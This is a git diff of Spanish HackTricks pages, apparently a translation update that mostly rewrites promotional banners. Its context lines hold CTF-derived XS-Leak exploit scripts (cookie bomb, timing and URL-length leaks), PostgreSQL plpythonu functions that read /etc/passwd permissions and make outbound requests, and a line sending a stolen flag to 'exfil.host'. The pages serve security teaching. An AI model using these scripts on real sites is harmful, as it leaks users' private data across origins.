CREATE OR REPLACE FUNCTION get_perms (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -250,7 +267,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
select get_perms("/etc/passwd"); # Get perms of file
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Solicitud" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION req2 (url text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -274,10 +293,12 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT req3('https://google.com'); #Request using python3
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## pgSQL
|
||||
|
||||
Verifique la siguiente página:
|
||||
Consulta la siguiente página:
|
||||
|
||||
{% content-ref url="pl-pgsql-password-bruteforce.md" %}
|
||||
[pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md)
|
||||
|
@ -285,20 +306,23 @@ Verifique la siguiente página:
|
|||
|
||||
## C
|
||||
|
||||
Verifique la siguiente página:
|
||||
Consulta la siguiente página:
|
||||
|
||||
{% content-ref url="rce-with-postgresql-extensions.md" %}
|
||||
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# Bomba de Cookies + Fuga XS Onerror
|
||||
# Cookie Bomb + Onerror XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
El siguiente **script** tomado de [**aquí**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) está explotando una funcionalidad que permite al usuario **insertar cualquier cantidad de cookies**, y luego cargar un archivo como un script sabiendo que la respuesta verdadera será más larga que la falsa y luego. Si tiene éxito, la respuesta es una redirección con una URL resultante más larga, **demasiado grande para ser manejada por el servidor, por lo que devuelve un código de estado http de error**. Si la búsqueda falla, no sucederá nada porque la URL es corta.
|
||||
El siguiente **script** tomado de [**aquí**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) está explotando una funcionalidad que permite al usuario **insertar cualquier cantidad de cookies**, y luego cargar un archivo como un script sabiendo que la verdadera respuesta será más grande que la falsa y luego. Si tiene éxito, la respuesta es una redirección con una URL resultante más larga, **demasiado grande para que el servidor la maneje, por lo que devuelve un código de estado http de error**. Si la búsqueda falla, no sucederá nada porque la URL es corta.
|
||||
```html
|
||||
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
||||
<script>
|
||||
|
@ -61,14 +64,17 @@ break;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Ejecución de JavaScript XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```javascript
|
||||
// Code that will try ${guess} as flag (need rest of the server code
|
||||
app.get('/guessing', function(req, res) {
|
||||
|
@ -75,14 +78,17 @@ hack.innerHTML = iframe
|
|||
</div>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,26 @@
|
|||
# performance.now + Force heavy task
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Exploit tomado de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
||||
|
||||
En este desafío, el usuario podía enviar miles de caracteres y si la bandera estaba contenida, los caracteres serían devueltos al bot. Por lo tanto, al enviar una gran cantidad de caracteres, el atacante podía medir si la bandera estaba contenida en la cadena enviada o no.
|
||||
En este desafío, el usuario podía enviar miles de caracteres y si la bandera estaba contenida, los caracteres serían devueltos al bot. Así que al poner una gran cantidad de caracteres, el atacante podía medir si la bandera estaba contenida en la cadena enviada o no.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Inicialmente, no establecí el ancho y alto del objeto, pero más tarde descubrí que es importante porque el tamaño predeterminado es demasiado pequeño para marcar la diferencia en el tiempo de carga.
|
||||
Inicialmente, no establecí el ancho y la altura del objeto, pero más tarde descubrí que es importante porque el tamaño predeterminado es demasiado pequeño para hacer una diferencia en el tiempo de carga.
|
||||
{% endhint %}
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
|
@ -114,14 +117,17 @@ main()
|
|||
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Ejemplo de performance.now
|
||||
# performance.now ejemplo
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Ejemplo tomado de [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
|
||||
```javascript
|
||||
|
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
|
|||
|
||||
document.addEventListener('DOMContentLoaded', main);
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Longitud máxima de URL - Lado del Cliente
|
||||
# URL Max Length - Client Side
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Código de [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
```html
|
||||
|
@ -48,7 +51,7 @@ await new Promise(resolve => setTimeout(resolve, 50))
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
Lado del servidor:
|
||||
Servidor:
|
||||
```python
|
||||
from flask import Flask, request
|
||||
|
||||
|
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
|
|||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=1337)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
